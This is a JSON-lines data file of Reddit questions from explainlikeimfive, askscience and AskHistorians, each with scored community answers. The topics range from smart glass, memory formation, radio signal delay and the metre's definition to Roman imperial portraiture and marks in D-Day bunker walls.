{"q_id": "4n42hh", "title": "how does electrochromic or smart glass actually work?", "selftext": "You know the glass that turns opaque with a switch.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4n42hh/eli5_how_does_electrochromic_or_smart_glass/", "answers": {"a_id": ["d40phin"], "score": [7], "text": ["There are a couple of different ways to make smart glass, but the workings are similar. Smart glass have 2 sheets of glass with in between the mechanism to block/let through the light. \n\nWith Suspended particle devices (SPDs) there is a liquid between the 2 sheets of glass with very small rod-like particles supended in it. Normally these rod-like particles are not organised in the liquid. Like this:\n\n/\\/l-\\\\l\n\n\\\\\\/-//l             \n\nl/-\\\\l-\n\nIf the lightsource is on the right side, no light can get through the wall of particles. When you apply an electrical current the particles will organise like this:\n\n\\------\n\n\\------\n\n\\------\n\nNow there are no particles that are blocking the lightsource on the right hand side any more and the window is transparent. With these windows the electric current has to stay on to keep the transparant windows. If you remove the current the particles are going into the unorganised state again. \n\nWith Electrochromic devices the layer between the 2 glass sheets is filled with particles that absorb the light in one state and in another don't absorb light. The change between these states can be started with an electric pulse. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "15s9kr", "title": "what happens in my brain as i study?", "selftext": "I have just begun to study a wide range of subjects after a long hiatus from education, and as is to be expected I'm overwhelmed to the point of dizziness after each study session. But exactly how does my brain adapt itself to a new language or mathematical concepts?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/15s9kr/eli5_what_happens_in_my_brain_as_i_study/", "answers": {"a_id": ["c7pbx6c", "c7pdki6", "c7pewnz", "c7pey23", "c7peyxi", "c7pgz4r", "c7pix3j"], "score": [17, 8, 3, 163, 6, 5, 2], "text": ["This isn't perfectly understood on a cellular level yet. But, the basic idea is  that as you learn and study your brain makes new connections between brain cells. The things you know are stored as connections between neurons. The more often you use these connections the more they get reinforced and the more permanent they are.", "You should try /r/askscience as well.", "As a child, your brain is in its most able capacity to learn, equipped with the neurons necessary to develop a fully functioning brain in response to stimuli around you. As you get older, your brain prunes these neurons; some die and some live. \n\nWhat the brain is doing is creating a more efficient network of neurons which will fire when appropriate. \n\nAs we get older this process does not stop but it does slow down. When you learn or study, the subject material will fire or form specific networks of neurons. These same neurons will fire again and again as you study the same subject matter and intermediate neurons may die or become part of different networks. \n\nI would go into the formation of explicit and implicit memory but i am on my phone.\n\nHope this helps.", "You're delving into the idea of memory. When you study, you're creating new short-term memories that are transferred into long-term memories if you study something long/hard enough. Redundancy creates memory, in the case of studying. That's why \"cramming\" doesn't work; you're creating short-term memories, but that's all they are and all they ever will be.\n\nSo what is memory? That's another complicated question, which science doesn't entirely have an explanation for. I'll give you a run-down of what people think the general jist is.\n\n________________________________________________________________\n________________________________________________________________\n\n\nPART 1: What is a neuron?\n\nYou have [85 billion neurons](_URL_1_) in the brain. Each neuron is connected to one, two, maybe a hundred, maybe a thousand other neurons. They communicate via an electric current running from one neuron to another, one neuron releasing chemicals that stimulate the next neuron, or a combination of the two. Each neuron has what we can consider to be a 'head', called the dendrites, which are the hair-like projections that *accept* signals. The 'tail' section, called the axon, is a long tail that can branch out at the end to *send* signals. You could say that a neuron is like a radio; the antenna (dendrites) receive a radio signal, and broadcast the signal through speakers (axons).\n\n\nNow let's understand that communication between neurons is \"binary\"; that is, there are two possible options for communication between neurons. I use the term binary, because like computer programming, it is simply a matter of 1's and 0's.\n\n* Neuron A stimulates Neuron B. (1)\n\n* Neuron A doesn't stimulate Neuron B. (0)\n\nI'm really only mentioning this so you can understand that neurons aren't conscious. So how do they make decisions? All decision-making is simply a matter of whether or not Neuron A stimulates Neuron B. Its really quite incredible that you, a mindnumbingly complex organism with 85 billion neurons, make neuronal decisions using the most basic of principles: does Neuron A excite Neuron B, or not?\n\n________________________________________________________________\n________________________________________________________________\n\n\nPART 2: What is memory?\n\nLet's talk about memory again. Science doesn't know how memory works for sure, but our best guess is that \"memory\" is simply the order in which a certain set of neurons fires. Each memory you make is a quantitative sequence of neurons firing in a certain order. A different memory will have neurons firing in a different order. For example, let's scale things down (for simplicity's sake) and say that you have only 20 neurons in your brain that are all connected to each other. You've just been exposed to the smell of Mama's spaghetti, which you've never smelled before. Your brain is going to create a memory of that smell. Let's say that, when you smell the spaghetti, Neuron 3 stimulates Neuron 5, which stimulates Neuron 6, which stimulates Neuron 19. We'll express this from henceforth using arrows, so Neuron 3 \u2192 Neuron 5 \u2192 Neuron 6 \u2192 Neuron 19.\n\nYou've now made a memory. The smell of Mama's spaghetti, in your brain, will forever be codified as 3 \u2192 5 \u2192 6 \u2192 19. Now, every time you ever smell Mama's spaghetti again, those neurons will stimulate each other in that same exact order. 3 will always stimulate 5, 5 will always stimulate 6, and so on. No other memory will have that same sequence. You might smell something new, which creates a sequence of Neuron 2 \u2192 Neuron 20 \u2192 Neuron 19 \u2192 Neuron 5 \u2192 Neuron 7, and that sequence will forever be locked in as a permanent memory.\n\nSo how can you have so much room for memories? Well, in this example we're only considering a pool of 20 neurons. Your brain has 85 billion neurons. That means that 85 billion neurons have an opportunity to interact with 85 billion other neurons. They can stimulate other neurons more than once, in any particular order, and a sequence of neurons doesn't have to be 4-5 neurons long like I used in the spaghetti example. The sheer number of neurons and ability for them to interact with each other makes for endless possibilities! Your brain is like an immensely massive hard drive, and there'll always be room to create new memories.\n\n________________________________________________________________\n________________________________________________________________\n\n\nPART 3: What's a good analogy to better understand the flow of memory?\n\nThink about the interstate highway system. Different highways connect different states, and there are roads in between states so they are all interconnected. If you wanted to drive from Virginia to Florida, you could drive from Virginia \u2192 North Carolina \u2192 South Carolina \u2192 Georgia \u2192 Florida. But that's not the only option! You could drive from Virginia \u2192 North Carolina \u2192 Tennessee \u2192 Alabama \u2192 Florida. The difference between those two routes is that you pass through either Georgia or Alabama to get to Florida, but that doesn't imply that Georgia and Alabama aren't connected. They have highways in between them as well! You could drive Georgia \u2192 Alabama without having to go all the way back to Virginia first. Each memory is like a different sequence of states to cross through, and each neuron is a state. When you smell Mama's spaghetti, you're going from Maryland \u2192 West Virginia \u2192 Ohio \u2192 Michigan. When you smell something else, you're going California \u2192 Arizona \u2192 New Mexico. \n\nNow, just imagine that there are 85 billion states in the US (woah!) and there are interstates to all of them. That creates endless possibilites for you to travel between states. \n\n________________________________________________________________\n________________________________________________________________\n\n\nPART 4: Have I really answered OP's question yet?\n\nWhat happens when you study? When you study, you're creating new memories. The first time you see something new, you're building new interactions between neurons. The reason you need to keep studying over and over is to solidify those interactions. You can build a dirt road from Virginia to West Virginia, but as long as you keep facilitating those interactions between neurons, you're expanding that dirt road into a concrete highway. That's how short-term memory becomes long-term memory, through solidification and redundancy. When you cram for a test, you're creating these shitty dirt roads between states that won't hold up. When you take the test, you're going to try and travel on one of those dirt roads, but it'll have been washed out by rain. Meanwhile, that 'concrete highway' memory is standing strong.\n\n\n________________________________________________________________\n________________________________________________________________\n\n\nTLDR: Memories are a quantitative, specific order in which neurons fire. Each memory has a specific sequence, unique to just that memory. When you want to create a new memory, you create a new sequence between neurons. You're essentially building roads between states. \n\nI hope this helped OP! \n\n[Additional reading, FOR SCIENCE!](_URL_0_)", "Mine dies a little when i try to teach it math.", "TIL ELI5 = ELI40", "Simple:\nAs you study, brain cells fire (Synapse) and  these synapses are being stored like something in \"muscle memory.\" As long as you keep using whatever you created these synapses for, ex) keep using biology when studying biology, you'll continue to remember it. but, if you don't use it, you lose it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.human-memory.net/intro_what.html", "http://www.guardian.co.uk/science/blog/2012/feb/28/how-many-neurons-human-brain"], [], [], []]}
{"q_id": "28y3dx", "title": "why, in australia, are we subsidising the mining industry?", "selftext": "It's not as though we need to entice them to come here, the metals and coal are in the ground. They HAVE to come here.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/28y3dx/eli5_why_in_australia_are_we_subsidising_the/", "answers": {"a_id": ["cifksoh", "cifm8hu", "cifm9c9", "cifmvkv", "cifn1d6", "cifn4sq"], "score": [19, 3, 2, 2, 2, 16], "text": ["Due to corporate influence in our political system and media.\n\nSince about 2011 or so, just after the Rudd years when the Mining Tax was proposed, high-level corporate figures - mining and otherwise - [colluded to manipulate public opinion](_URL_0_) around the mining industry and corporate regulation within Australia. Gina Rinehart bought the largest amount of shares of Fairfax Media, as well as becoming the largest shareholder of Channel Ten. \n\nSo over the last few years, under the influence of these media sources, public and parliamentary debate has shifted from a negative perspective of mining companies moving here; digging the resources out of our ground and selling them overseas (with very little profit being redistributed amongst the Australian people) - to a positive view of the mining industry. Through a campaign of misleading information, public opinion in this country has been slowly manipulated to fit the interests of an ever-growing corporate sector looking to defend their interests.\n\nThe fact that we are not taxing this industry, but rather subsidising it, is that extra Liberal government slap to the face. This is an industry hemorrhaging money. There is no sound economic argument for these subsidies.\n\n**TL;DR:** Because the mining industry has brainwashed the Australian population", "I was told that the fuel excise is to pay for public roads and mining companies diesal fuel is not used on public roads so they're exempt. Mining companies also build a lot of there own roads. Still, why do farmers get charged?", "What exactly is subisidised in the Australian mining industry, I didn't realise there was any? ", "A link to an article that may have started this ELI5\n_URL_0_", " > the metals and coal are in the ground. They HAVE to come here.\n\nNot quite that simple.\n\nIf you are a mining company you want to invest in a stable nation with low costs. Political turmoil and high costs reduce profitability. \n\nWe could have the highest grade deposits in the world but unless its competitive with other nations they'll go elsewhere, hence Gina's reference to Africans working on $2 a day. Australia is a relatively well explored continent, all the surface deposits have basically been found.\n\nI'm definitely not saying subsidies are a good policy, but exploration and development costs in Australia are very high compared with other nations (which is partly because of environmental regulation, which is a good thing).", "The mining industry actually receives little in the way of subsidies. However, they are treated differently to other tax payers in certain ways that may be construed as subsidising the industry. \n\n1. No fuel excise. Diesel is the major fuel of mining companies. It is used to power generators, trucks and digging equipment. The fuel excise on Diesel is about 40c/L. This is not paid by mining companies. Why? Because the fuel excise is there to pay for public roads. Mining companies don't use public roads so they have been granted an exemption from this excise.\n\n2. Infrastructure. This one is a pretty poor argument. There is a quote in the report stating that the privatisation of Queensland Rail which raised $4.6billion dollars was too cheap and that somehow is a subsidy to the mining companies. Though the mining companies didn't buy Queensland Rail, the public did. Mining companies also have access to ports, rail and electricity that this report states is too cheap. Sure, maybe, but these prices are decided by the competition tribunals of Australia (ACCC, QCA) at commercial rates. However, most major infrastructure used by mining companies is paid for by mining companies or the private sector.\n\nCounter argument:\nMining companies are required to pay royalties to state governments of around 5-20% of their revenue. Queensland took in $2.8b - $3.5b per year in royalties from 2011 to 2013. Then mining companies are required to pay federal company tax of 30% on their profits on top of this. \n\nMost coal companies are legitimately not making money at the moment in Queensland and are being kept open because shutting down costs a bit more than staying open. It isn't the industry to chase down for more money at the moment, because there isn't money there. \n\nSource: I am a financial analyst that values mining companies."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=aX2kMAfJggU"], [], [], ["http://www.abc.net.au/news/2014-06-24/mining-industry-receives-billions-of-dollars-in-state-subsidies/5545714"], [], []]}
{"q_id": "3whcom", "title": "when people listen to the radio, do they all hear the song at the same time, or is there a delay when listening further away from the towers?", "selftext": "What is the speed of radio?  ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3whcom/eli5when_people_listen_to_the_radio_do_they_all/", "answers": {"a_id": ["cxw8ejw", "cxw8mp6", "cxwc3zs", "cxwddc1", "cxwsmo6", "cxwv1sb", "cxx29mr", "cxx6y2u"], "score": [187, 14, 5, 2, 3, 2, 2, 2], "text": ["Radio waves are electromagnetic radiation just like light (just a different part of the spectrum); they move at the speed of light.  To answer your question, yes, there's a very, very, very, very slight delay.", "There's technically a delay, but you'd have to have some damn fine instrumentation to measure it. The radio waves produced by a tower travel at the speed of light, which is enough to go around Earth 7 times in a second. ", "Actually, more than just the speed of light plays into this. Differences in the radio receiver itself can cause delays in playback, so if two people are listening to the same radio station in the same room it is possible to have a delay between the two radios. Not very likely, but possible. This would be caused by the quality and value f the capacitors used most likely.", "Yes there is a very tiny tiny delay as radio waves take time to travel through air but it's travelling at close to the speed of light. The signal processing in many devices adds delays and is much more likely to add the delays people could experience. This larger delay is the time taking to get the radio wave, turn it into a nice clear noise free audio.. Good example of this that most people can relate to is TV, if you put the same station on in two rooms the sound is clearly out, this is nothing to do with distance this is to do with signal processing delays. ", "So if you are traveling away from the radio station you will be hearing the song slowed down.", "I'd like to refer to you the explanation of [Admiral Grace Hopper](_URL_0_)", "They hear the music at slightly different times. There are two reasons:\n\n * Because of the speed of light (radio waves are the same phenomenon as light), there is delay of about 5.4 microseconds for every mile away from the transmitter you go. That's about 3.3 nanoseconds for every meter\n * Radios take some time to translate the incoming radio waves to usable electrical signals; the electrical signals take time to travel from the radio to the speakers; and the sound from the speakers takes time to get to your ears. All these times vary from radio to radio and car to car.\n\nNote that the biggest difference is due to the radio translating from EM (radio) waves to electrical signal. This could take as much as half a second in the worst case, for some digital radios.", "I once listened to a station on my iPod nano  &  on a physical radio, and there was a very slight delay on the iPod"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://www.youtube.com/watch?v=1-vcErOPofQ"], [], []]}
{"q_id": "2jw5l4", "title": "how does google know/decide which search queries are 'inappropriate' (pornstar names etc.) and to stop trying to auto-complete them?", "selftext": "Example: Suppose you want to look up Asa Akira. She's ranked as the number 2 pornstar on Pornhub, so you'd think there would be plenty of searches for her. However, typing in \"asa akir\" doesn't auto-complete to \"asa akira\" even though that's obvious what you're looking up. How does Google know/decide to NOT auto-complete that search, and why? Note: SafeSearch is off.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2jw5l4/eli5_how_does_google_knowdecide_which_search/", "answers": {"a_id": ["clflwig"], "score": [45], "text": ["Since Google can see what links you click on from their page, their system can notice that searching \"Asa Akira\" (nice choice BTW) tends to lead to pornographic sites. Using this information, they'll decide that the term indicates a desire for pornography and they won't put it in auto-complete. It's fine if you want to search it, they just aren't going to *suggest* it to you - same for other NSFW or objectionable content."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "18slfi", "title": "How does bismuth form?", "selftext": "I've been looking at this piece of bismuth and wondering how it forms into perfect 90 degree, multicolored spirals.\n\n_URL_0_\n\nAny knowledge on this would be greatly appreciated", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/18slfi/how_does_bismuth_form/", "answers": {"a_id": ["c8hleb2", "c8hpuuj"], "score": [12, 4], "text": ["Bismuth has a rhombohedral crystal structure, so it will form angular crystals.\n\nIt forms those elaborate [hopper crystals](_URL_0_) because the edges of the crystal structure are more energetically favorable positions than the interior and faces.  That makes the molecules continue to form crystal edges but never fill in the centers when crystallizing out of solution.\n\nThe coloration is due to a thin layer of bismuth oxide that forms on the surface on the surface.", "Bismuth with really nice hoppering isn't formed naturally. It's melted, partially cooled, and then a portion of the molten bismuth is poured off the top. [Here's a video.](_URL_0_) "]}, "title_urls": [], "selftext_urls": ["http://imgur.com/UUVJTA6"], "answers_urls": [["http://en.wikipedia.org/wiki/Hopper_crystals"], ["http://www.youtube.com/watch?v=TgoqT9AoG1g"]]}
{"q_id": "2kaeir", "title": "Are busts of the Roman emperors contemporary to that emperor's time or are they reimaginings of what someone at a later date would have thought them to look like?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2kaeir/are_busts_of_the_roman_emperors_contemporary_to/", "answers": {"a_id": ["cljevui", "cljhkp7", "cljidh8", "cljm18i"], "score": [248, 48, 24, 172], "text": ["It depends on the specific busts. For example, Hadrian made quite a few statues and busts of the previous emperor Trajan, but Trajan had commissioned quite a few of himself during his reign. Portraiture was a big part of imperial propaganda starting with the first princeps, Augustus, who like Alexander the Great and Pompey used a specific hairstyle on statues to help people identify that the statue was of him.", "This depends on the particular emperor's tastes, their feelings about certain physical traits, and the values of the era or how the emperor wanted to market himself. For instance, we know that Julius Caesar was balding from numerous written sources, but busts and coins both show him with a healthy head of hair. Augustus remained permanently youthful in his sculptures, and while we read that he was skinny and sickly, he is never visually represented that way. However, emperors who wanted to represent themselves as returning to the values of the Republic era would make a point of showing off their aged faces and balding heads in their sculptures. \n\nThe book I'm thinking of is Kleiner's History of Roman Art, I think. It is packed in a box under many other boxes right now. I got rid of a lot of text books to prepare for a move, but that is one worth keeping.", "hi! you'll find some additional responses in these posts\n\n* [How accurately did ancient sculptures/busts depict their subjects?](_URL_1_)\n\n* [Ancient Roman statues, how accurate are/were they?](_URL_0_)\n\n* [How accurate are the Roman marble busts?](_URL_2_)", "As others have mentioned, the accuracy of imperial portraits varied greatly. During the Republican period, portraits were generally true to life, even if they were unflattering. This veristic practice tied in with traditional Roman values, especially *fides*, or truthfulness. However, during the Principate, imperial portraits often became tools for propaganda; there was also an influx of Greek artistic influence, and the Greeks were known for idealizing their subjects. \n\n**Julius Caesar** was never an emperor, but his portraiture illustrates the shift of conventions. [This](_URL_7_) is probably the best contemporary portrait of Caesar. \"The lined forehead, pinched cheeks, large nose and ears, and jutting jaw appear to be true to life, but Caesar's new status as a god may have led the sculptor to portray him with close-cropped hair instead of as nearly bald, as the legendary second-century CE biographer Suetonius described him.\" (Kleiner p. 58) But we also have images of Caesar from [coins](_URL_5_) which were struck in 44 BCE, which depict him with a receding hairline and wrinkled neck, much like Republican veristic portraits. Numismatics can provide very accurate information about what emperors looked like. \n\n**Augustus** was the first to really break from Republican verism. He ruled for decades, dying at the ripe old age of 76, but none of his [portraits](_URL_8_) show him aging at all. \"That is because his portraits were not intended to be *likenesses.* Rather, they were carefully crafted *images* - not of Augustus the man but of Augustus the divi filius. His portraits were designed to present the image of a godlike leader, a superior being who, miraculously, was eternally youthful. Such a notion may seem ridiculous today, when television, the Internet, magazines, and newspapers portray world leaders as they actually appear, but in antiquity few people ever saw the emperor. Because most people knew only his official image, it could be manipulated at will\" (Kleiner p. 67).\n\n**Tiberius** was [depicted](_URL_2_) similarly to Augustus, but the shape of his eyes, nose, mouth, and cranium all evoke portraits of his mother [Livia](_URL_1_) more than his adoptive father.\n\n**Caligula** was [depicted](_URL_3_) with relatively full, loose hair, which is probably a fiction. According to Suetonius, Caligula started balding when he was very young.\n\n**Claudius**, in contrast with the previous Julio-Claudian emperors, was usually portrayed as a man in his 50s. He wasn't quite as realistic as the Republican portraits, but was shown to have had a broad cranium, wrinkles, and bags under his eyes. [This](_URL_0_) is one of his best portraits, in the guise of Jupiter. The dichotomy between his idealized nude body and his old head was a very Republican convention. Historians think that Claudius was probably crippled or disabled in some way, so his real body may have been quite different from the heroic, youthful statue of him as Jupiter.  \n\n**Nero**'s portraits were mostly destroyed because he was so hated, but a handful have survived. [Here](_URL_4_) he is depicted as a rather puffy man, with a thick neck, flowing hair, and soft features. But in later numismatic portraits he's practically [obese](_URL_6_). Nero definitely wanted to display his lifestyle of self-indulgence and luxury, but it's tough for us to sort out exactly what he looked like in person.\n\nI could go on forever about this, but I won't get into detail on the portraiture in later dynasties. Emperors were depicted with beards or clean-shaven, as old or young, and as tough or pampered, all depending on what kind of image they wanted to project. Their portraits were based in reality, but it's impossible for Art Historians to judge exactly to what extent their features were exaggerated or idealized. If you want to learn more about it I definitely recommend Kleiner's book, *A History of Roman Art.* It has comprehensive entries on all the surviving imperial portraiture. \n\nsource: *A History of Roman Art* by Fred S. Kleiner, International Edition."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.reddit.com/r/AskHistorians/comments/229sxv/ancient_roman_statues_how_accurate_arewere_they/", "http://www.reddit.com/r/AskHistorians/comments/rygct/how_accurately_did_ancient_sculpturesbusts_depict/", "http://www.reddit.com/r/AskHistorians/comments/1hp7uk/how_accurate_are_the_roman_marble_busts/"], ["https://c2.staticflickr.com/6/5030/5642741155_3a07fb0fb9_z.jpg", "http://www.museumsyndicate.com/images/4/36651.jpg", "https://hf-mirror.net/_cdn/classconnection.s3.amazonaws.com/295/flashcards/4635295/jpg/5-143ECDEC9515EFA3FB2.jpg", "https://farm4.staticflickr.com/3458/3289719185_e27dcaa52f.jpg", "http://www.bible-history.com/archaeology/rome/marble-bust-nero-1.jpg", "http://www.coinnews.net/wp-content/uploads/2011/09/Julius-Caesar-as-Dictator-49-44-BC-AR-denarius-ancient-coin.jpg", "http://finds.org.uk/images/rulers/Nero.jpg", "http://ic.pics.livejournal.com/aldanov/11891766/1068839/1068839_original.jpg", "https://upload.wikimedia.org/wikipedia/commons/1/1e/The_so_called_%E2%80%9CAugustus_Bevilacqua%E2%80%9D%2C_bust_of_the_emperor_Augustus_wearing_the_Corona_Civica%2C_Glyptothek%2C_Munich_%289897792145%29.jpg"]]}
{"q_id": "3njp7j", "title": "One of the major arguments against electric vehicles is so-called \"range anxiety\" where users are afraid they may be stuck far away from an energy source. Was there similar \"range anxiety\" as humanity moved away from wind and horse power and towards fossil fuel power?", "selftext": "Also, was the concept of distributed fuel stations ever deemed unrealistic?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3njp7j/one_of_the_major_arguments_against_electric/", "answers": {"a_id": ["cvozfhd"], "score": [26], "text": ["Range anxiety became a major issue for navies during the transition from sail to steam power, because while ships could be victualed for six months or so and wind was free, early steam ships had horribly inefficient engines and burned coal at a furious rate. I wrote a couple of answers about the sail-to-steam transition here: \n\n_URL_1_\n\nand here: \n\n_URL_3_\n\nEarly steam warships generally [had masts](_URL_4_) to complement their steam powerplants, or in some cases were [sailing warships converted](_URL_0_) to steam power, so that they could use both means of propulsion when necessary. The problem that navies faced was that both types of propulsion made the other inefficient; the drag of the propellors underwater hampered sailing as much as the drag of the top-hamper decreased the efficiency of the steam engines. \n\nIn response, navies set up coaling stations at various spots around the globe, and (at least in Britain) negotiated agreements with merchant shipping lines to be able to seize coal from their ships in the event of war or an emergency. As engine efficiency improved, eventually it became quite apparent that hauling masts and sails around didn't make a lot of sense (in 1875, an RN captain ran numbers to prove this), and ships eventually lost the masts except for signaling and antenna purposes. \n\nThe British navy, interestingly, faced a related range anxiety question in the run-up to World War I. There had been arguments over using coal or fuel oil for propulsion from the very early days of steam engines; coal had to be moved around manually, required the work of skilled stokers to burn efficiently, and has a lower thermal efficiency than oil. Oil, on the other hand, can be pumped around the ship, can be fed into boilers automatically, and requires much less manual labor aboard ship. It's also got a higher thermal efficiency than coal, burns much cleaner than coal, and doesn't coat everything on board with coal dust. (Here's a picture of the [Grand Fleet heading to the battle of Jutland](_URL_2_); most ships were still coal-fired so you get an idea of the smoke/haze/visibility problem.)\n\nNow, the problem is that coal is abundant in the British isles (Wales is made of the stuff), but there were no domestic sources of oil in 1901, when Jackie Fisher started agitating for oil-fired ships. (Offshore platforms came much later.) So by adopting ~~coal~~ oil-fired capital ships, which the British did with the *Queen Elizabeth* claps in 1912, they tied themselves inextricably to foreign sources of oil for strategic reasons. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://i.imgur.com/Tb5yC0S.jpg", "https://www.reddit.com/r/AskHistorians/comments/2jso46/how_did_the_transition_from_wooden_ships_to/", "http://2.bp.blogspot.com/-bHTALPtnpis/U6RCERoXxaI/AAAAAAAArs8/qhbaXXlZew8/s1600/World+War+I+at+Sea+\\(39\\).jpg", "https://www.reddit.com/r/AskHistorians/comments/2gv83n/what_sort_of_jobs_did_the_crew_do_on_an/", "https://i.imgur.com/TnW4JgG.jpg"]]}
{"q_id": "ju7no", "title": "Is DDT as harmful as previously believed when it was banned?", "selftext": "I know this is partially a political issue with one side saying it had negative effects and one side that says the negative things that were being documented were just coincidence. I am curious about any other scientific information on this issue other than [this example](_URL_0_) that I was given, saying that the negative results seen were more coincidental than conclusive evidence. I was also told that there is evidence that my gf was taught about in here bio and ecology classes. Any supporting information for either side would be appreciated.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ju7no/is_ddt_as_harmful_as_previously_believed_when_it/", "answers": {"a_id": ["c2f89ky", "c2f89ky"], "score": [6, 6], "text": ["It is completely inappropriate for me to say anything on the issue without my sources on hand, I know in Genetics the molecular dangers were laid out (how DDT can react with the genome if it were to come in contact with it, demethylation and whatnot) however I don't have that book on hand, and it seems like a worse-case scenario to me when I look back on it.\n\nI will instead offer this, when you take out the 2nd level (primary consumers) of a trophic pyramid nothing good will happen to that food web.", "It is completely inappropriate for me to say anything on the issue without my sources on hand, I know in Genetics the molecular dangers were laid out (how DDT can react with the genome if it were to come in contact with it, demethylation and whatnot) however I don't have that book on hand, and it seems like a worse-case scenario to me when I look back on it.\n\nI will instead offer this, when you take out the 2nd level (primary consumers) of a trophic pyramid nothing good will happen to that food web."]}, "title_urls": [], "selftext_urls": ["http://dwb4.unl.edu/Chem/CHEM869E/CHEM869ELinks/www.altgreen.com.au/Chemicals/ddt.html"], "answers_urls": [[], []]}
{"q_id": "osui6", "title": "The definition of a metre", "selftext": "The metre is defined such that it is the distance light travels in a certain time, but the speed of light is measure in metres per second, is this a circular definition? If so is the circularity here an issue?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/osui6/the_definition_of_a_metre/", "answers": {"a_id": ["c3js3s4", "c3jt6ch", "c3jtcfj", "c3jth63"], "score": [32, 19, 4, 10], "text": ["Well, we have ways of knowing the speed of light without knowing the length of a meter. \n\nFor example, say I made a car, and it was a really special car that we wanted to base all speeds on, and so we said \"a mile is the distance this car can travel in one minute.\" Now, it is going to turn out that this car's speed will later be defined at 60 mph, but it doesn't matter- if we want to know how far a mile it, we can just measure the travel distance of that car. The same for light, we know the speed of light in meters per second, but we can also directly measure the speed of light, and that speed is independent of units. \n\nAnd moreso, a meter is actually defined as a certain number of wavelengths of an excited potasium atom, which is even more direct. ", "The confusion stems from the fact that a while ago scientists figured out they could measure the speed of light a whole lot more precisely than the length of a meter.  They decided to define the speed of light as  *exactly* 299792458 meters per second.  That means that when you make a more accurate measure of the speed of light, you're actually changing the definition a meter by a little bit rather than the value of c.\n\nSource: _URL_0_", "The Metric System was defined so that the distance from equator to pole should be exactly 10 million meters or 10,000 kilometers. It isn't exactly, because the model for the shape of the earth in those days wasn't perfectly accurate, but it's quite close (actually about 10,002 kilometers).\n\nSource: _URL_0_", "The definition that corresponds to the speed of light came after (in 1983) some 200 years after the meters origin.\n\nThe original concept was to measure the Earth along a meridian (longitudinal line), then define a meter as 1/10,000,000th of that, i.e. 10,000 km from the North Pole to the equator.\n\nDue to a slight error in 18th century mapping, the Earth's circumference is actually (40,007.863km measured through the poles along a meridian).\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.bipm.org/en/CGPM/db/17/1/"], ["http://www.uwgb.edu/dutchs/fieldmethods/utmsystem.htm"], ["http://en.wikipedia.org/wiki/Metre#Meridional_definition"]]}
{"q_id": "5596wq", "title": "Why are there lines carved into the concrete on the inside of the German D-Day bunkers?", "selftext": "I recently visited Omaha Beach and noticed that inside the German bunkers, endless lines are carved into the concrete inside. One of my companions believed they were carved \"by teenagers\" in the time since the war, but I know how much effort it takes to carve concrete to this depth and given that they covered entire walls it seemed this was done very purposefully by someone with a *lot* of time on their hands. I just can't imagine why.\n\nIs this really just graffiti? It was inside nearly every bunker there and the cumulative length of these lines is easily hundreds and hundreds of feet-- carving them was no mean feat.\n\n_URL_0_", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5596wq/why_are_there_lines_carved_into_the_concrete_on/", "answers": {"a_id": ["d89dkx0", "d8aq7wr", "d88yl2e"], "score": [73, 4, 4], "text": ["The #1 enemy for subterranean walls is moisture. If you're building subterranean concrete walls in a humid environment like the Normandy coast, poorly engineered walls will quickly become mushroom farms, and they'll be constantly weeping with moisture. \n\nThese walls were built with forms. Ropes or another flexible conduit was used to provide channels for moisture to collect in. Presumably there would be an interior gutter that would drain the collected runoff away from the structure. \n\nIn contemporary construction, we'd use a selectively permeable moisture barrier, but this is a primitive approach to solving the same problem. \n\n\n", "I didn't get an answer from anyone who really knew :(", "I believe that you are seeing spalling as a consequence of corrosion over time. [As described by the General Services Administration,](_URL_0_) spalling constitutes \"surface depressions that are larger and deeper than scaling, often linear when following the length of a rebar.\"\n\nSpalling is: \n\n* Also caused by pressure from under the surface of the concrete.\n\n* Most often occur due to improperly constructed joints or the corrosion of rebar in the concrete\n\n* Corrosion creates pressure as rust forms, which can push away large chunks of concrete, and expose the corroded metal below.\n\n* Spalling that exposes corroded metal can be particularly problematic because the corrosion is likely to accelerate due to exposure to air and water. \n\nEssentially just saltwater and shock doing its work on the rebar reinforcing the concrete. \n\nEdit: Check responses below."]}, "title_urls": [], "selftext_urls": ["http://imgur.com/a/SDJ5L"], "answers_urls": [[], [], ["http://www.gsa.gov/portal/content/112806"]]}
